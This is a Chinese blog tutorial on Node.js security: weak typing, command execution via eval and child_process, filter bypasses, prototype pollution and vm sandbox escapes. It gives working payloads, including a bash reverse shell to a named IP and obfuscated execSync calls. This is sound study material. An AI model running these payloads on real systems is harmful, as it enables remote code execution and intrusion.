前言
目前包括语言特性,命令执行,原型链污染,vm沙箱逃逸,反序列化
部分trick已单独拆分为一篇文章
参考文章:
https://forum.butian.net/share/1561
https://xz.aliyun.com/t/7184#toc-12
https://boogipop.com/2023/03/02/Node.Js%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90/
https://zer0peach.github.io/2023/11/20/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E8%AF%86/
https://www.anquanke.com/post/id/237032
特性
弱类型比较
和php一样存在弱类型的特性
> 1=='1'
true
> 1>'2'
false
> '1'<'2'
true
> 111>'3'
true
> '111'<'3'
true
> 'asd'>1
false
数字与数字字符串比较时,数字型字符串会被强转为数字之后比较
字符串与字符串比较,比第一个ASCII码
> []==[]
false
> []>[]
false
> [1,3]>[5]
false
> [11,45]>'aaa'
false
> [1,2]<'2'
true
> [11,12]<"10"
false
空数组比较为false
数组之间比较第一个值,如果有字符串取第一个比较
数组永远比非数值型字符串小
> null==undefined
true
> null===undefined
false
> NaN==NaN
false
> NaN===NaN
false
null弱等于undefined,NaN不等于NaN
变量拼接
> 5+[6,6]
'56,6'
> "5"+6
'56'
> "5"+[6,6]
'56,6'
> "5"+["6","6"]
'56,6'
数字或字符串跟数组,会和数组中的第一个元素进行拼接,返回的是字符串,拼接的元素与原来的元素之间用,
分隔
调用方法时可以用中括号 + 字符串
的形式拼接来绕过某些限制
> console['l'+'og']('ciallo')
ciallo
ES6模板字符串
var ranker = "top";
console.log("hello %s",kino);
console.log(`hello${ranker}world`);
利用模板字符串或许可以用来bypass一些关键词的过滤
单引号和反引号
在nodejs中反引号可以用来替代单引号
大小写特性
对于toUpperCase()
:字符”ı”、”ſ” 经过toUpperCase处理后结果为 “I”、”S”
对于toLowerCase()
:字符”K”经过toLowerCase处理后结果为”k”(这个K不是K)
命令执行
eval()
和PHP中eval函数一样,eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
demo:
var express = require("express");
var app = express();
app.get('/eval',function(req,res){
res.send(eval(req.query.a));
console.log(req.query.a);
})
var server = app.listen(8888, function() {
console.log("http://127.0.0.1:8888/");
})
child_process
nodejs中用来执行系统命令的模块
以下几个函数底层均为调用 spawn
const child = spawn(file, args, {
cwd: options.cwd,
env: options.env,
gid: options.gid,
uid: options.uid,
shell: options.shell,
windowsHide: !!options.windowsHide,
windowsVerbatimArguments: !!options.windowsVerbatimArguments
});
exec() & execSync()
本地测试上面 eval 的那个demo
Node.js中的chile_process.exec
调用的是 bash.sh
,它是一个bash解释器,可以执行系统命令。
在eval函数的参数中可以构造require('child_process').exec('');
来进行调用。
尝试弹计算器
/eval?a=require('child_process').exec('calc');
反弹shell:
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/115.236.153.170/14723 <&1'")
execFile()
启动一个子进程来执行可执行文件
require('child_process').execFile("calc",{shell:true});
可以执行文件,也可以像这样调用指令,执行文件指的是执行exe这样的,而不是执行js文件
fork()
用于执行 js 文件
实际利用中需要提前写入恶意文件
require('child_process').fork("./hacker.js");
spawn() & spawnSync()
启动一个子进程来执行命令
require('child_process').spawn("calc",{shell:true});
注:上述的exec
、spawn
、fork
等等都是分为同步和异步的,所谓异步也就是不堵塞程序的执行,因此也不可能会有回显,因此一般我们用的都是同步的命令执行来获取回显,如execSync
,spawnSync
等等
过滤require
现在我们添加一点过滤,把require过滤掉
var express = require("express");
var app = express();
app.get('/eval',function(req,res){
if (req.query.a.indexOf('require') !== -1) { // 检测关键字
res.send("Hacker");
return;
}
res.send(eval(req.query.a));
console.log(req.query.a);
});
var server = app.listen(8888, function() {
console.log("http://127.0.0.1:8888/");
});
很明显上面的payload打不通了
这个时候可以使用global.process.mainModule.constructor._load('child_process').exec('calc')
来执行命令,这里其实和flask ssti的payload有类似之处
global
对象是 Node.js 环境下的全局对象,它包含了 Node.js 中的一些全局变量和函数。process
对象是global
对象的一个属性,它包含了当前 Node.js 进程的相关信息和控制方法。mainModule
属性是process
对象的一个属性,它指向当前 Node.js 应用程序的入口模块。constructor
属性是mainModule
对象的一个属性,它指向当前模块的构造函数。_load()
方法是constructor
对象的一个方法,它可以加载指定的模块并返回该模块的导出对象。
即global.process.mainModule.constructor._load
==require
注:node 是基于 chrome v8 内核的,运行时,压根就不会有 require
这种关键字,模块加载不进来,所以有时候会报require is not defined
。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require
进行编译
setIntval()
间隔两秒执行函数:
setInterval(some_function, 2000)
setTimeout()
两秒后执行函数:
setTimeout(some_function, 2000);
some_function处就类似于eval函数的参数
弹计算器:
setInterval(require('child_process').exec('calc'), 2000);
整型溢出
当设置的延迟时间不在1~2^31-1
这个int范围内时,就会溢出为1,相当于0延迟
Function()
输出HelloWorld:
Function("console.log('HelloWolrd')")()
类似于php中的create_function
bypass
16进制编码
console.log("a"==="\x61");
// true
正则匹配的时候,16进制不会转化成字符,于是有
require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
unicode编码
console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")
加号拼接
加号在js中可以用来连接字符
require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')
模板字符串
上面讲特性的时候已经提到过了
require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')
concat连接
利用js中的concat函数连接字符串
require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")
base64编码
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())
接下来考虑一些js的语法和内置函数来bypass
Obejct.keys
实际上通过require
导入的模块是一个Object
,所以就可以用Object
中的方法来操作获取内容。利用Object.values
就可以拿到child_process
中的各个函数方法,再通过数组下标就可以拿到execSync
console.log(require('child_process').constructor===Object)
// true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
Reflect
使用Reflect
这个关键字来实现反射调用函数
可以通过Reflect.ownKeys(global)
拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]
即可得到eval
console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval
拿到eval,接下来就能rce了
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("whoami")').toString()
这里还有个小trick:如果过滤了eval
关键字,可以用includes('eva')
来搜索eval
函数,也可以用startsWith('eva')
来搜索
过滤中括号
获取到eval的方式是通过global
数组,其中用到了中括号[]
,假如中括号被过滤,可以用Reflect.get
来绕
Reflect.get(target, propertyKey[, receiver])
的作用是获取对象身上某个属性的值,类似于target[name]
所以取 eval 的函数方式变成
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))
后面拼接上命令执行的payload即可
基础原型链污染
原型链
在javascript,每一个实例对象都有一个prototype
属性,prototype
属性可以向对象添加属性和方法
object.prototype.name=value
在javascript,每一个实例对象都有一个__proto__
属性,这个实例属性指向对象的原型对象(即原型)
可以通过以下方式访问得到某一实例对象的原型对象:
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
示例:
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null
var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
漏洞原理
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,
我们就可以给object对象的原型设置一个b属性,值为value。
这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
例子:
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
我们可以发现object2
在没有设置foo属性的情况下,也输出了Hello World
因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype
。
在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype
中去寻找
这就造成了一个原型链污染,所以原型链污染的本质应该是利用子类继承父类的特性实现的,只要我们能控制一个子类并修改其对象的原型,就能影响到所有和这个对象同一个原型的对象
merge操作
表示合并两个或多个对象或数组的操作,将它们的属性或元素合并到一个新的对象或数组中
例:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)
object3 = {}
console.log(object3.b)
注:在JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
最终输出的结果为
可见object3的b是从原型中获取到的,说明Object已经被污染了。
大致流程:
object2.a=1=object1.a
object2.__proto__={"b": 2}=object1.__proto__=object3.__proto__
–>object3={"b": 2}
–>object3.b=2
bypass
__proto__过滤
过滤了__proto__
可以考虑在末尾加空格__proto__
,或者使用上面提到的obj.constructor.prototype
来代替,obj.constructor.prototype==obj.__proto__
即
{
"constructor":{
"prototype":{
"ctfshow":"36dboy"
}
}
}
// 等同于
{
"__proto__":{
"ctfshow":"36dboy"
}
}
Undefsafe模块原型链污染
跳转链接:https://c1oudfl0w0.github.io/blog/2023/11/18/Undefsafe模块原型链污染
ejs原型链污染
跳转链接:https://c1oudfl0w0.github.io/blog/2024/01/19/ejs原型链污染
safe-obj污染(CVE-2021-25928)
safe-obj库中的漏洞点:
expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;
} else {
var prop = props.shift();
if (!(prop in obj)) {
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
},
接递归按照 .
做分隔写入 obj,很明显可以原型链污染
poc:
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);
vm沙盒逃逸
vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序
前置知识
vm.runinThisContext(code)
:在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性
demo:
const vm = require('vm')
let localvar = 'initial value';
const vmresult = vm.runInThisContext('localvar = "123";');
console.log(vmresult)
console.log(localvar)
//123
//initial value
即沙箱的环境不会对当前作用域产生影响
vm.createContext([sandbox])
: 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),这里设 v8 为这个沙箱对象,在当前global
外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问 global 中的属性。vm.runInContext(code, contextifiedSandbox[, options])
:参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同
demo:
const util = require('util');
const vm = require('vm');
global.globalVar = 3;
const sandbox = { globalVar: 1 };
vm.createContext(sandbox);
vm.runInContext('globalVar *= 2;', sandbox);
console.log(util.inspect(sandbox)); // { globalVar: 2 }
console.log(util.inspect(globalVar)); // 3
vm.runInNewContext(code[, sandbox][, options])
:creatContext 和 runInContext 的结合版,传入要执行的代码和沙箱对象。vm.Script类
:vm.Script 类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。new vm.Script(code, options)
:创建一个新的 vm.Script 对象只编译代码但不会执行它。编译过的 vm.Script 此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
const util = require('util');
const vm = require('vm');
const sandbox = {
animal:"cat",
count:2
};
const script = new vm.Script('count +=1;name = "kitty"'); // 自己设置的预编译脚本
const context = vm.createContext(sandbox);
script.runInContext(context); // 执行脚本
console.log(util.inspect(sandbox));
//{ animal: 'cat', count: 3, name: 'kitty' }
漏洞
vm 可以通过构造语句来逃逸到主程序进行命令执行
具体的思路就是获取process对象,然后require('child_process')
demo:
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
执行之后可以获取到主程序环境中的环境变量
上面的例子等价于下面的代码
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);
创建vm环境时,首先要初始化一个对象sandbox
,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象
因为this.constructor.constructor
返回的是一个Function constructor
,所以可以利用 Function 对象构造一个函数并执行Function()
(此时Function对象的上下文环境是处于主程序中的)
这里构造的函数内的语句是return this.process.env
,结果是返回了主程序的环境变量
配合前面的chile_process.exec()
就可以执行任意命令
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
关于this
以这个为例
const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
对于前面的poc,我们能不能把this.toString.constructor('return process')()
中的 this 换成{}
呢?答案是不能
{}
的意思是在沙箱内声明了一个对象,也就是说这个对象是不能访问到 global 下的
如果我们将 this 换成 m 或 n 也是访问不到的,因为数字,字符串,布尔这些都是 primitive 类型,他们在传递的过程中是将值传递过去而不是引用(类似于函数传递形参),在沙盒内使用的m、n已经不是原来的m、n了,所以无法利用
不过只要我们将m、n改成其他类型就可以利用了
const inspect = require('util').inspect
const vm = require('vm');
const script = new vm.Script(`
(e => {
const y1 = x.toString.constructor('return process')() // 用m,n,x都行
return y1.mainModule.require('child_process').execSync('whoami').toString()
})()
`)
const sandbox = {m:[],n:{},x: /regexp/}; //只要m,n,x不为数字,字符串,布尔等都行
const context = new vm.createContext(sandbox);
const res = script.runInContext(context);
console.log(res);
bypass
this为null
本质是重写对象
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
此时this->null
,无法像之前一样逃逸
这时候就得用到函数的一个内置对象属性arguments.callee.caller
,它返回的是函数的调用者
上面演示的沙箱逃逸其实就是找到一个沙箱外的对象,并调用其中的方法
这种情况下也是一样的,我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller
就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了
const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
这样就可以成功进行命令执行
分析代码,首先是箭头函数
类似于匿名函数,并且简化了函数定义
demo:
x => x * x
// 相当于
function (x) {
return x * x;
}
而上面的() => {...}
就相当于定义了一个无参匿名函数,然后进行调用
回到bypass,代码重写了沙盒对象中的toString方法,然后再console.log触发,通过arguments.callee.caller
获取到了一个沙盒外的对象,进而和上面一样获取process
proxy劫持
如果沙箱外没有执行字符串的相关操作来触发这个toString(如上面的console.log('Hello ' + res)
),并且也没有可以用来进行恶意重写的函数(如上面的a.toString
),我们可以用Proxy来劫持属性
proxy就是一个hook函数,在我们去访问对象的属性时(不管是否存在)都会触发这个函数
const vm = require("vm");
const script =
`
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)
如上代码就是将对象a实例化为了一个Proxy对象,然后访问abc属性(不存在)触发get方法,进而导致命令执行
借助异常处理
const vm = require("vm");
const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}
上述代码表面上看因为没有返回值,无法直接利用
而这里我们用了throw new Proxy
,catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来
vm2
不急(
serialize模块反序列化漏洞
跳转链接:https://c1oudfl0w0.github.io/blog/2023/11/18/serialize模块反序列化漏洞
Nodejs HTTP拆分攻击
跳转链接:https://c1oudfl0w0.github.io/blog/2024/1/20/Nodejs-HTTP拆分攻击